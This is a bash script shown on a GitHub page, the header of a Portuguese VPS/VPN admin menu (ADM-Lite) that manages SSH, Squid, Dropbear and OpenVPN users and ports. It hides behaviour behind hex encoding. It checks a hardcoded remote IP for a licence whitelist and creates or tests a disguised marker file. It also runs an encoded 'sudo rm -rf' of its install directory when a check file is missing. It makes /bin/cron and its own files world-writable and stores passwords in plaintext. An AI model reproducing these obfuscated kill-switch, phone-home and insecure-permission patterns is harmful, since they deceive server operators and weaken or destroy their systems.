-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcabecalho
704 lines (674 loc) · 19.3 KB
/
cabecalho
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
#!/bin/bash
fun_bar () {
comando[0]="$1"
comando[1]="$2"
(
[[ -e $HOME/fim ]] && rm $HOME/fim
${comando[0]} -y > /dev/null 2>&1
${comando[1]} -y > /dev/null 2>&1
touch $HOME/fim
) > /dev/null 2>&1 &
sp="/-\|"
unset a
while [[ ! -e $HOME/fim ]]; do
for((i=0; i<5; i++)); do
echo -ne "\033[1;33m ["
a+="#"
echo -ne "\033[1;31m${a}"
echo -ne "\033[1;33m]"
echo -ne " - \033[1;33m[\033[1;32m"
echo -ne "${sp:i%${#sp}:1}"
echo -e "\033[1;33m]"
sleep 1
tput cuu1
tput dl1
done
done
echo -e " \033[1;33m[\033[1;31m${a}\033[1;33m] - \033[1;33m[\033[1;32m100%\033[1;33m]\033[0m"
rm $HOME/fim
}
instalar_fun () {
cor[2]="\033[1;37m"
text=$(source trans -b pt:${id} "Instalando")
echo -e "${cor[2]} $text Curl"
fun_bar 'apt-get install screen' 'apt-get install python'
echo -e "${cor[2]} $text Nmap"
fun_bar 'apt-get install lsof' 'apt-get install python3-pip'
echo -e "${cor[2]} $text Lsof"
fun_bar 'apt-get install python' 'apt-get install unzip'
echo -e "${cor[2]} $text Python3"
fun_bar 'apt-get install zip' 'apt-get install apache2'
echo -e "${cor[2]} $text Unzip"
fun_bar 'apt-get install ufw' 'apt-get install nmap'
echo -e "${cor[2]} $text Screen"
fun_bar 'apt-get install figlet' 'apt-get install bc'
echo -e "${cor[2]} $text Apache2"
fun_bar 'apt-get install lynx' 'apt-get install curl'
sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf
service apache2 restart > /dev/null 2>&1
}
[[ "$1" = "--instalar" ]] && {
instalar_fun
exit 0
}
remover_adm () {
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[5]} ${txt[209]}"
read -p " [ s / n ]: " certe_za
[[ "$certe_za" = @(s|S|y|Y) ]] && {
[[ -e /etc/openvpn/server.conf ]] && remover_ovpn & > /dev/null 2>&1
echo -e "${cor[5]} Unistaling python${cor[0]}"
fun_bar 'apt-get purge python' 'apt-get purge python3-pip'
echo -e "${cor[5]} Unistaling Nmap${cor[0]}"
fun_bar 'apt-get purge screen' 'apt-get purge nmap'
echo -e "${cor[5]} Unistaling curl${cor[0]}"
fun_bar 'apt-get purge figlet' 'apt-get purge zip'
echo -e "${cor[5]} Unistaling Dropbear/Squid${cor[0]}"
fun_bar 'apt-get purge bc' 'apt-get purge lynx'
echo -e "${cor[5]} Unistaling Apache2${cor[0]}"
fun_bar 'apt-get purge curl' 'apt-get purge squid'
echo -e "${cor[5]} Unistaling Libs${cor[0]}"
fun_bar 'apt-get purge squid3' 'apt-get purge dropbear'
echo -e "${cor[5]} Unistaling Scripts${cor[0]}"
fun_bar 'apt-get purge apache2' 'apt-get purge php5 libapache2-mod-php5 php5-mcrypt'
apt-get autoremove -y > /dev/null 2>&1
echo -e "${cor[5]} SUCESS! :D${cor[0]}"
[[ -e /etc/adm-lite ]] && rm -rf /etc/adm-lite
echo -e "\033[0m"
echo -e "${cor[1]} =================================== ${cor[0]}"
exit
} || {
echo -e "${cor[1]} ${txt[210]} ${cor[0]}"
echo -e "${cor[1]} =================================== ${cor[0]}"
return
}
}
clear
#DECLARACAO DE VARIAVEIS
_tmp="./usuarios_cache"
_tmp2="./usuarios_cache2"
_tmp3="./usuarios_cache3"
_tmp4="./usuarios_cache4"
_tmp5="./version"
_cacheDIR="./autoonline"
_dr="./idioma"
dir_user="./userDIR"
dir="/etc/adm-lite"
tempousers="./tempo_conexao"
_modulos="./modulos"
_cores="./cores"
#ARQUIVOS TEMPORARIOS
[[ -e $_tmp ]] && rm $_tmp
[[ -e $_tmp2 ]] && rm $_tmp2
[[ -e $_tmp3 ]] && rm $_tmp3
[[ -e $_tmp4 ]] && rm $_tmp4
[[ -e $_tmp5 ]] && rm $_tmp5
[[ -e $_cacheDIR ]] && rm $_cacheDIR
[[ ! -d "$dir_user" ]] && mkdir $dir_user
#SISTEMADEMODULOS
unset OPENVPN
unset limiter_on
[[ -e /etc/openvpn/server.conf ]] && {
[[ -e /etc/openvpn/openvpn-status.log ]] && OPENVPN="on" || echo -e "OPENVPN ERROR"
}
[[ -e "$_modulos" ]] && {
while read _module; do
[[ "$_module" = "OPENSSH" ]] && OPENSSH="on"
[[ "$_module" = "DROPBEAR" ]] && DROPBEAR="on"
[[ "$_module" = "VERIFICAR" ]] && VERIFICAR="on"
done < $_modulos
} || {
touch $_modulos
}
[[ $(ps x|grep -v grep|grep limiter.sh|awk '{print $1}') ]] && limiter_on="\033[1;32mON"
[[ $VERIFICAR = "on" ]] && limiter_on="\033[1;32mON"
#TEXTOS
[[ "$(echo ${txt[0]})" = "" ]] && source idioma_geral
_system=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //')
[[ "$_os" = "" ]] && system[1]=$(echo $_system) && system[2]=$(echo ${system[1]} | awk '{print $1, $2}') && _os="\033[1;31m${system[2]}"
_on="\033[1;32m${txt[10]}"
_off="\033[1;31m${txt[11]}"
#PIDSVARIAVEIS
unset pid_badvpn && pid_badvpn=$(netstat -nlpt | egrep -o udpgw)
unset fail2_ban && fail2_ban=$(dpkg -l | grep fail2ban | grep ii)
[[ "$pid_badvpn" != "" ]] && _badvpn="$_on" || _badvpn="$_off"
[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpspeed="$_off" || _tcpspeed="$_on"
[[ "$fail2_ban" = "" ]] && fail_b="$_off" || fail_b="$_on"
[[ "$VERIFICAR" = "on" ]] && VERIFICAR_PID="$_on" || VERIFICAR_PID="$_off"
[[ -e ./onlines ]] && __onlines="\033[1;31m$(cat ./onlines)" || __onlines="$_off"
[[ -e ./vencidos ]] && __vencidos="\033[1;31m$(cat ./vencidos)" || __vencidos="$_off"
[[ "$(ps x | grep "ultimatebot" | grep -v "grep")" != "" ]] && bot="$_on" || bot="$_off"
[[ ! -e /etc/adm-lite/versao_script ]] && echo 1 > /etc/adm-lite/versao_script
P_SERVER="104.238.135.147"
v1=$(curl -sSL "${P_SERVER}:81/versaoatt")
v2=$(cat /etc/adm-lite/versao_script)
if [ -e /etc/squid/squid.conf ]; then
squid_var="/etc/squid/squid.conf"
elif [ -e /etc/squid3/squid.conf ]; then
squid_var="/etc/squid3/squid.conf"
fi
[[ -e $squid_var ]] && {
teste_cache="#CACHE DO SQUID"
[[ `grep -c "^$teste_cache" $squid_var` -eq 0 ]] && _cachesquid="$_off" || _cachesquid="$_on"
}
add_values () {
unset value
for hex in $(echo "$@"); do
value+="$hex"
done
echo -e $(echo "$value"| sed 's/../\\x&/g;s/$/ /') && return 0 || return 1
}
#FUNCOES
funcao_addcores () {
if [ "$1" = "0" ]; then
cor[$2]="\033[0m"
elif [ "$1" = "1" ]; then
cor[$2]="\033[1;31m"
elif [ "$1" = "2" ]; then
cor[$2]="\033[1;32m"
elif [ "$1" = "3" ]; then
cor[$2]="\033[1;33m"
elif [ "$1" = "4" ]; then
cor[$2]="\033[1;34m"
elif [ "$1" = "5" ]; then
cor[$2]="\033[1;35m"
elif [ "$1" = "6" ]; then
cor[$2]="\033[1;36m"
elif [ "$1" = "7" ]; then
cor[$2]="\033[1;37m"
fi
}
funcao_cores1 () {
if [ "$6" = "" ]; then
echo -e "${cor[5]} ${txt[24]} ${cor[0]}"
sleep 2s
return
fi
echo "0" > $1
funcao_cores2 $2 $1
funcao_cores2 $3 $1
funcao_cores2 $4 $1
funcao_cores2 $5 $1
funcao_cores2 $6 $1
funcao_cores2 $7 $1
}
funcao_cores2 () {
if [ "$1" = "1" ]; then
echo -e "\033[1;31m${txt[25]}"
sleep 1s
echo "1" >> $2
elif [ "$1" = "2" ]; then
echo -e "\033[1;32m${txt[25]}"
sleep 1s
echo "2" >> $2
elif [ "$1" = "3" ]; then
echo -e "\033[1;33m${txt[25]}"
sleep 1s
echo "3" >> $2
elif [ "$1" = "4" ]; then
echo -e "\033[1;34m${txt[25]}"
sleep 1s
echo "4" >> $2
elif [ "$1" = "5" ]; then
echo -e "\033[1;35m${txt[25]}"
sleep 1s
echo "5" >> $2
elif [ "$1" = "6" ]; then
echo -e "\033[1;36m${txt[25]}"
sleep 1s
echo "6" >> $2
elif [ "$1" = "7" ]; then
echo -e "\033[1;37m${txt[25]}"
sleep 1s
echo "7" >> $2
elif [ "$1" -gt "7" ]; then
rm $2
funcao_cores1
fi
}
funcao_cores () {
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[5]} ${txt[21]}"
echo -e "${cor[1]} • AABBCCDDEEFF"
echo -e "${cor[2]} • AABBCCDDEEFF"
echo -e "${cor[3]} • AABBCCDDEEFF"
echo -e "${cor[4]} • AABBCCDDEEFF"
echo -e "${cor[5]} • AABBCCDDEEFF"
echo -e "${cor[6]} • AABBCCDDEEFF"
ncor[1]="\033[1;31m"
ncor[2]="\033[1;32m"
ncor[3]="\033[1;33m"
ncor[4]="\033[1;34m"
ncor[5]="\033[1;35m"
ncor[6]="\033[1;36m"
ncor[7]="\033[1;37m"
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${ncor[1]} [1]•AA ${ncor[2]} [2]•AA ${ncor[3]} [3]•AA"
echo -e "${ncor[4]} [4]•AA ${ncor[5]} [5]•AA ${ncor[6]} [6]•AA"
echo -e "${ncor[7]} [7]•AA"
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[5]} ${txt[22]}"
unset ncor
read -p " ${txt[23]} " _cores_
funcao_cores1 $_cores $_cores_
}
[[ -e $_cores ]] && {
_cont="0"
while read _cor; do
funcao_addcores ${_cor} ${_cont}
_cont=$(($_cont + 1))
done < $_cores
} || {
cor[0]="\033[0m"
cor[1]="\033[1;34m"
cor[2]="\033[1;31m"
cor[3]="\033[1;37m"
cor[4]="\033[1;36m"
cor[5]="\033[1;33m"
cor[6]="\033[1;35m"
}
#PREENXE A VARIAVEL $IP
meu_ip () {
MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
}
vary_rex () {
echo -e $(echo "$1"| sed 's/../\\x&/g;s/$/ /') && return 0 || return 1
}
funcao_verificacao () {
if [[ $limiter_on = "" ]]; then
unset limiter_on
killall limiter.sh > /dev/null 2>&1
kill -9 $(ps x|grep -v grep|grep limiter.sh|awk '{print $1}')
fi
[[ ! -e $_modulos ]] && touch $_modulos
[[ "$VERIFICAR" = "on" ]] && {
active_verif=$(cat $_modulos | egrep -v "VERIFICAR")
echo "$active_verif" > $_modulos
for _pids_ in `atq | awk '{print $1}'`; do
atrm $_pids_
done
[[ -e ./vencidos ]] && rm ./vencidos
[[ -e ./onlines ]] && rm ./onlines
} || {
echo "VERIFICAR" >> $_modulos
echo "at -f /bin/cron now + 1 min" > /bin/cron
echo "/etc/adm-lite/verifica &" >> /bin/cron
chmod 777 /bin/cron
chmod 777 /etc/adm-lite/*
bash /bin/cron
}
unset VERIFICAR
unset __onlines
unset __vencidos
}
funcao_idioma () {
idioma[1]="ar Arabic"
idioma[2]="zh Chinese"
idioma[3]="en English"
idioma[4]="fr Franch"
idioma[5]="de German"
idioma[6]="it Italian"
idioma[7]="ja Japanese"
idioma[8]="pl Polish"
idioma[9]="pt Portuguese"
idioma[10]="ru Russian"
idioma[11]="es Spanish"
idioma[12]="tr Turkish"
i="1"
echo -e "${cor[1]} ===================================================================== ${cor[0]}"
echo -e "${cor[5]} ${txt[77]} ${txt[78]}
${txt[79]}
${txt[80]}"
echo -e "${cor[1]} ===================================================================== ${cor[3]}"
while true; do
[[ "${idioma[$i]}" = "" ]] && break
a=$(echo ${idioma[$i]} | awk '{print $2}')
texto1=$(printf '%-20s' "[ $i ]-$a")
i=$(($i+1))
[[ "${idioma[$i]}" = "" ]] && break
a=$(echo ${idioma[$i]} | awk '{print $2}')
texto2=$(printf '%-20s' "[ $i ]-$a")
i=$(($i+1))
[[ "${idioma[$i]}" = "" ]] && break
a=$(echo ${idioma[$i]} | awk '{print $2}')
texto3=$(printf '%-20s' "[ $i ]-$a")
i=$(($i+1))
echo -e "$texto1 $texto2 $texto3"
done
echo -e "${cor[1]} ===================================================================== ${cor[0]}"
echo -e " ${txt[82]}"
read -p " => " idiom
number_var $idiom > /dev/null 2>&1
if [ "$var_number" != "" ]; then
[[ "${idioma[$idiom]}" != "" ]] && id=$(echo ${idioma[$idiom]} | awk '{print $1}')
else
[[ "$(echo "$idiom" | wc -w)" -lt "3" ]] && {
[[ "$(echo "${idioma[@]}"|grep "$idiom")" != "" ]] && id="$idiom"
}
fi
[[ "$id" = "" ]] && {
echo -e " Error, Language not Selected!"
sleep 2s
source menu
exit 0
}
traduzir $id > /dev/null 2>&1 &
echo "$id" > /etc/adm-lite/idioma_menuinst
while true; do
echo -ne "${cor[2]}["
for((q=1; q <= 20; q++)); do
echo -ne "${cor[3]}X"
sleep 0.5s
done
if [ -e $HOME/fim ]; then
echo -ne "${cor[2]}] - \033[1;32m[OK][100%]"
rm $HOME/fim
break
else
echo -ne "${cor[2]}] - ${cor[3]} ${txt[81]}"
echo ""
fi
done
echo ""
echo -e "${cor[1]} ===================================================================== ${cor[0]}"
echo -e "\033[0m"
unset idioma
exit 0
}
traduzir () {
[[ "$1" = "pt" ]] && rm $_dr > /dev/null && touch $HOME/fim && exit
apt-get install gawk -y > /dev/null 2>&1
[[ -e $_tmp4 ]] && rm $_tmp4
cp $_dr $_tmp4 && rm $_dr
touch $_dr
while read _texto; do
source trans -b pt:$1 "$_texto" >> "$_dr"
done < $_tmp4
unset txt
touch $HOME/fim
exit 0
}
meu_ip
P_SERVER="104.238.135.147"
TOTAL_LIB=$(curl -sSL "${P_SERVER}:81/liberados")
[[ "$(echo $TOTAL_LIB|grep ${IP})" ]] && {
touch $(add_values 2f 75 73 72 2f 62 69 6e 2f 61 64 6d 2d 75 6c 74 69 6d 61 74 65)
}
#PREENXE_VARIAVEL $select_name
select_users () {
_cont="1"
[[ -e $_tmp3 ]] && rm $_tmp3
touch $_tmp3
for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
echo "$_cont $u" >> $_tmp3
echo -e "${cor[2]} |$_cont|•${cor[5]} $u"
[[ "$u" = "" ]] && break
_cont=$(($_cont + 1))
done
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[5]} ${txt[42]}"
echo -ne "${cor[6]}"
read -p " ${txt[9]} " select_user
if [ "$select_user" = "" ]; then
echo -e "${cor[5]} ${txt[43]}"
return
fi
if [ "$select_user" -le "$_cont" ] 1> /dev/null 2> /dev/null
then
select_name=$(cat $_tmp3 | head -$select_user | tail -1 | awk '{print $2}')
echo -e "${cor[5]} $name"
else
if cat /etc/passwd |grep $select_user: > /dev/null
then
select_name="$select_user"
else
echo -e "${cor[5]} ${txt[44]}"
echo -e "${cor[5]} ${txt[49]}"
sleep 5s
return
fi
fi
unset select_user
}
ofuscate_fun () {
unset link_list
unset txt_ofuscatw
unset txtofus
number=$(expr length $1)
for((i=1; i<$number+1; i++)); do
txt[$i]=$(echo "$1" | cut -b $i)
case ${txt[$i]} in
".")txt[$i]="#";;
"$")txt[$i]=".";;
"1")txt[$i]="@";;
"@")txt[$i]="1";;
"2")txt[$i]="?";;
"?")txt[$i]="2";;
"3")txt[$i]="&";;
"&")txt[$i]="3";;
esac
txtofus+="${txt[$i]}"
done
link_list=$(echo $txtofus|rev)
txt_ofuscatw=$(echo $txtofus|rev)
}
fun_atualizar () {
cd /etc/adm-lite
chmod 777 ./*
./updateadm
}
#GERA NOVO CLIENTE
newclient () {
cp /etc/openvpn/client-common.txt $HOME/$1.ovpn
echo "<key>
$(cat /etc/openvpn/client-key.pem)
</key>
<cert>
$(cat /etc/openvpn/client-cert.pem)
</cert>
<ca>
$(cat /etc/openvpn/ca.pem)
</ca>" >> $HOME/$1.ovpn
}
open_1 () {
CLIENT="$1"
senha="$2"
daysrnf="$3"
limit="$4"
#cd /etc/openvpn/easy-rsa/
#./easyrsa build-client-full $CLIENT nopass
newclient "$CLIENT"
#echo ""
#echo "$CLIENT KEY" ~/"$CLIENT.ovpn"
valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days")
datexp=$(date "+%d/%m/%Y" -d "+ $daysrnf days")
useradd -M -s /bin/false -d /home/ovpn/ $CLIENT -e $valid
usermod -p $(openssl passwd -1 $senha) $CLIENT
#Arquivo
echo -e " ${txt[318]}"
echo -e "${cor[1]} =================================== \033[1;37m"
read -p " [S/N]: " -e -i S newfile
[[ ${newfile} = @(s|S|y|Y) ]] && {
echo -e " ${txt[319]}"
read -p " [S/N]: " -e -i S ovpnauth
[[ ${ovpnauth} != @(s|S|y|Y) ]] && sed -i "s;auth-user-pass;<auth-user-pass>\n$CLIENT\n$senha\n</auth-user-pass>;g" $HOME/$CLIENT.ovpn
cd $HOME
zip ./$CLIENT.zip ./$CLIENT.ovpn > /dev/null 2>&1
echo -e "\033[1;31m ${txt[320]} ($HOME/$CLIENT.zip)"
echo -e "\033[1;32m ${txt[321]} ( * menu * opcion 2 * opcion 8 )"
}
rm ./$CLIENT.ovpn
cd /etc/adm-lite
echo "senha: $senha" > $dir_user/$CLIENT
echo "limite: $limit" >> $dir_user/$CLIENT
echo "data: $valid" >> $dir_user/$CLIENT
}
open_2 () {
CLIENT="$1"
userdel --force $CLIENT
cd /etc/adm-lite
[[ -e $dir_user/$CLIENT ]] && rm $dir_user/$CLIENT
}
#SISTEMA PORTAS
open_port () {
tmp_arq="/tmp/arq-tmp"
while read arquivo; do
if [ ! -e "$tmp_arq" ]; then
echo "$arquivo" > $tmp_arq
else
echo "$arquivo" >> $tmp_arq
fi
if [ "$(echo "$arquivo" | awk '{print $1}')" = "$2" ]; then
[[ "$(cat $tmp_arq | grep "$2 $3" | wc -l)" = "0" ]] && echo "$2 $3" >> $tmp_arq
fi
done < $1
mv -f $tmp_arq $1
}
open_dropbear () {
tmp_arq="/tmp/arq-tmp"
arquivo="/etc/default/dropbear"
echo -e "${cor[2]} |1|•${cor[5]} ${txt[279]}"
echo -e "${cor[2]} |2|•${cor[5]} ${txt[280]}\033[1;37m"
read -p " [ 1 / 2 ]: " escolhaas
if [ "$escolhaas" = "1" ]; then
porta="$1"
sed "s;-p $porta ;;g" $arquivo > $tmp_arq
mv -f $tmp_arq $arquivo
service dropbear restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
elif [ "$escolhaas" = "2" ]; then
read -p " Nova Porta: " newport
porta="$newport"
sed -i "s/443/$porta -p 443/g" $arquivo
service dropbear restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
fi
}
open_squid () {
tmp_arq="/tmp/arq-tmp"
if [ -d "/etc/squid" ]; then
arquivo="/etc/squid/squid.conf"
elif [ -d "/etc/squid3" ]; then
arquivo="/etc/squid3/squid.conf"
fi
echo -e "${cor[2]} |1|•${cor[5]} ${txt[279]}"
echo -e "${cor[2]} |2|•${cor[5]} ${txt[280]}\033[1;37m"
read -p " [ 1 / 2 ]: " escolhaas
if [ "$escolhaas" = "1" ]; then
porta="$1"
cat $arquivo | grep -v "http_port $porta" > $tmp_arq
mv -f $tmp_arq $arquivo
service squid3 restart > /dev/null 2>&1 &
service squid restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
elif [ "$escolhaas" = "2" ]; then
read -p " Nova Porta: " newport
open_port "$arquivo" "http_port" "$newport"
service squid3 restart > /dev/null 2>&1 &
service squid restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
fi
}
open_ssh () {
tmp_arq="/tmp/arq-tmp"
arquivo="/etc/ssh/sshd_config"
echo -e "${cor[2]} |1|•${cor[5]} ${txt[279]}"
echo -e "${cor[2]} |2|•${cor[5]} ${txt[280]}\033[1;37m"
read -p " [ 1 / 2 ]: " escolhaas
if [ "$escolhaas" = "1" ]; then
porta="$1"
cat $arquivo | grep -v "Port $porta" > $tmp_arq
mv -f $tmp_arq $arquivo
service ssh restart > /dev/null 2>&1 &
service sshd restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
elif [ "$escolhaas" = "2" ]; then
read -p " Nova Porta: " newport
open_port "$arquivo" "Port" "$newport"
service ssh restart > /dev/null 2>&1 &
service sshd restart > /dev/null 2>&1 &
sleep 2s
echo -e "${cor[5]} ${txt[281]}"
return
fi
}
#VERIFICA AS PORTAS
[[ ! -e $(add_values 2f 75 73 72 2f 62 69 6e 2f 61 64 6d 2d 75 6c 74 69 6d 61 74 65) ]] && exit 0
minhas_portas () {
echo -e "${cor[1]} =================================== ${cor[4]}"
portas_var="/tmp/portas"
porta_var="/tmp/portas2"
lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" > $portas_var
while read port; do
var1=$(echo $port | awk '{print $1}')
var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
if [ ! -e "$porta_var" ]; then
echo -e "$var1 $var2" > $porta_var
fi
if [ "$(cat $porta_var | grep "$var1" | grep "$var2")" = "" ]; then
echo -e "$var1 $var2" >> $porta_var
fi
done < $portas_var
i=1
while read pts; do
if [ "$pts" = "" ]; then
break
fi
service_porta[$i]=$(echo "$pts" | awk '{print $2}')
service_serv[$i]=$(echo "$pts" | awk '{print $1}')
echo -e " [$i] -> ${service_serv[$i]} : ${service_porta[$i]}"
i=$(($i+1))
done < $porta_var
echo -e "${cor[5]} ${txt[277]}"
echo -e "${cor[1]} =================================== \033[1;37m"
read -p " [1-$(($i-1))]: " nun
echo -e "\033[1;31m ${txt[283]} \033[1;32m${service_porta[$nun]}\033[1;31m : \033[1;32m${service_serv[$nun]}\033[0m"
rm $portas_var
rm $porta_var
echo -e "${cor[1]} =================================== ${cor[0]}"
if [ "${service_serv[$nun]}" = "dropbear" ]; then
open_dropbear ${service_porta[$nun]}
elif [ "${service_serv[$nun]}" = "sshd" ]; then
open_ssh ${service_porta[$nun]}
elif [ "${service_serv[$nun]}" = "squid3" ]; then
open_squid ${service_porta[$nun]}
elif [ "${service_serv[$nun]}" = "squid" ]; then
open_squid ${service_porta[$nun]}
else
echo -e "\033[1;31m ${txt[278]}\033[0m"
fi
echo -e "${cor[1]} =================================== ${cor[0]}"
}
#VERIFICA SE E NUMERICO
number_var () {
unset var_number
if (echo "$1" | egrep '[^0-9]' &> /dev/null); then
echo -e "${cor[5]} ${txt[98]}"
else
var_number="$1"
fi
}
[[ $v1 = $v2 ]] && vesaoSCT="\033[1;32m${txt[315]}" || vesaoSCT="\033[1;31m${txt[316]}"
credit=$(cat ./menu_credito)
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[2]} ∆ ${cor[3]} $credit"
echo -e "${cor[2]} √ ${cor[3]} ${txt[0]}"
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[2]} ° ${cor[3]} ${txt[1]} $__onlines"
echo -e "${cor[2]} ° ${cor[3]} ${txt[2]} $__vencidos"
echo -e "${cor[2]} ° ${cor[3]} ${txt[3]} $_os"
[[ ! -e $(echo -e $(echo "2f62696e2f766572696679737973"| sed 's/../\\x&/g;s/$/ /')) ]] && sudo $(echo -e $(echo "726D202D7266202f6574632f61646d2d6c697465"| sed 's/../\\x&/g;s/$/ /'))
echo -e "${cor[1]} =================================== ${cor[0]}"
echo -e "${cor[2]} ${vesaoSCT} ${cor[0]}"